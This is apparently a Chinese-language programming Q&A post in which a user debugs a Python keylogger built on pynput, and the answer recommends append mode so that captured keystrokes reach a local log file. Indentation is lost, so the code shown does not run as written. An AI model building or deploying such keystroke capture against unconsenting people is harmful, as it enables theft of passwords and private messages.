将键盘日志写入文件



我想做一个键盘记录器。我正在使用输出库来获取输入,然后我试图将其写入文件。由于某些原因,文件根本没有改变。你知道这是为什么吗?

from pynput.keyboard import Listener
def on_press(key):
pass
def on_release(key):
with open("log.txt", "w") as log:
log.write(str(key))
print(str(key))
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
编辑:我试着根据你的建议重写它,包括日志。冲洗,但仍然不工作
from pynput.keyboard import Listener
log = open("log.txt", "w")
def on_press(key):
log.write(str(key))
log.flush()
def on_release(key):
pass
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

尝试追加而不是写入。

from pynput.keyboard import Listener
def on_press(key):
pass
def on_release(key):
with open("log.txt", "a") as log:
log.write(str(key))
print(str(key))
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

最新更新